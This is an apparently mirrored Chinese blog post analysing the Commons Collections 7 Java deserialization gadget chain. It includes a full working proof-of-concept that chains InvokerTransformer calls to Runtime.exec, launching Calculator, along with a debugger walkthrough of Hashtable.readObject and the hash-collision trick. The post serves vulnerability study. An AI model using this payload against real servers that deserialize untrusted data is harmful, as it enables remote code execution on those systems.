1

CommonsCollection7反序列化链学习 - akka1

 2 years ago
source link: https://www.cnblogs.com/akka1/p/16100971.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CommonsCollections7

1、前置知识

Hashtable

Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中。它和HashMap类很相似,但是它支持同步,像HashMap一样,Hashtable在哈希表中存储键/值对。当使用一个哈希表,要指定用作键的对象,以及要链接到该键的值。然后,该键经过哈希处理,所得到的散列码被用作存储在该表中值的索引。

//默认没有参数的构造方,新建为11容量的Hashtable
public Hashtable() {
  this(11, 0.75f);
}
//也可以指定容量
public Hashtable(int initialCapacity) {
  this(initialCapacity, 0.75f);
}
//将指定 key 映射到此哈希表中的指定 value。
public void put(Object key, Object value)
 //
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)

2、POC利用

2.1、利用链

/*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

2.2、POC

2.2.1、漏洞复现

package com.akkacloud;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollection7 {
    public static void main(String[] args) throws Exception {
        // Reusing transformer chain and LazyMap gadgets from previous payloads

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
               };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();


        //使用冲突哈希创建两个Lazymap,以便在readObject期间强制成功进入for循环调用reconstitutionPut
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);


        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");


//        serialize(hashtable);
        unserialize();
    }
    public static void serialize(Object obj ) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

image-20220404220026210

2.2.2、POC分析

由于跟cc6很相似,不再重复说明,直接看两者不同的地方.

主要是hashtable的add方法把Lazymap加入其中,但是为什么要put两次呢,就是存两个lazyMap2到hashtable中呢?

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

//使用冲突哈希创建两个Lazymap,以便在readObject期间强制进行元素比较
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);


// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

我们来看Hashtable的readObject方法。发现循环调用调用reconstitutionPut方法,elements就是我们传入Hashtable的元素个数,

先看传入的第一个元素既lazymap1,reconstitutionPut方法的参数table就是一个长度为5的空Entry<>[],key是Lazymap1,value为1,就是我们第一个put进去的元素。跟进reconstitutionPut

image-20220404221339259

我们的漏洞点在for循环里面,但是第一次我们的tab为空,根本进不去,但是在后面会用我们传入的key和value新创建一个Entry<>,并且赋值给tab[index],这就是我们为什么要put两个lazymap到Hashtable里,用于进入reconstitutionPut的for循环去触发我们的漏洞点equal方法。

image-20220404221941210

至于最后的lazyMap2.remove("yy"),就是因为我们我们真正在LazyMap中要确保没有键值对关系,才能调用transform方法,跟cc6的一样的理由,不懂可以仔细看看cc6

image-20220404223028371

2.2.3、POC调试

在Hashtable的readObject方法处打断点,第一遍进入reconstitutionPut

image-20220404223326517

第一遍进入的主要目的是为了给tab赋值,以便第二次可以进入循环的equal方法

image-20220404223432934

第二遍成功进入for循环,此时的key就是我们设置空的lazymap

image-20220404223636082

跟进AbstractMapDecorator的equal方法,继续进入equal方法

image-20220404223820644

AbstractMap的equal方法,获取我们传入的lazymap的key和value,key为lazymap,value就是1,我们一开始构造的空lazymap,进入get方法,m就是我们传入的lazymap,所以是进入到lazymap的get方法,继续跟进

image-20220404224701046

进入lazymap后,就会反射把lazymap中ChainedTransformer修改为我们的恶意类。此处就是为什么要去除yy键值对的关系(lazyMap2.remove("yy");),去除后才能进入if里面执行transform方法。

image-20220404225318142

继续跟进ChainedTransformer的transform方法,循环结束就会RCE

image-20220404225416345

2.3、思维导图

image-20220404230450430

参考链接
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.java
https://www.cnblogs.com/nice0e3/p/13910833.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK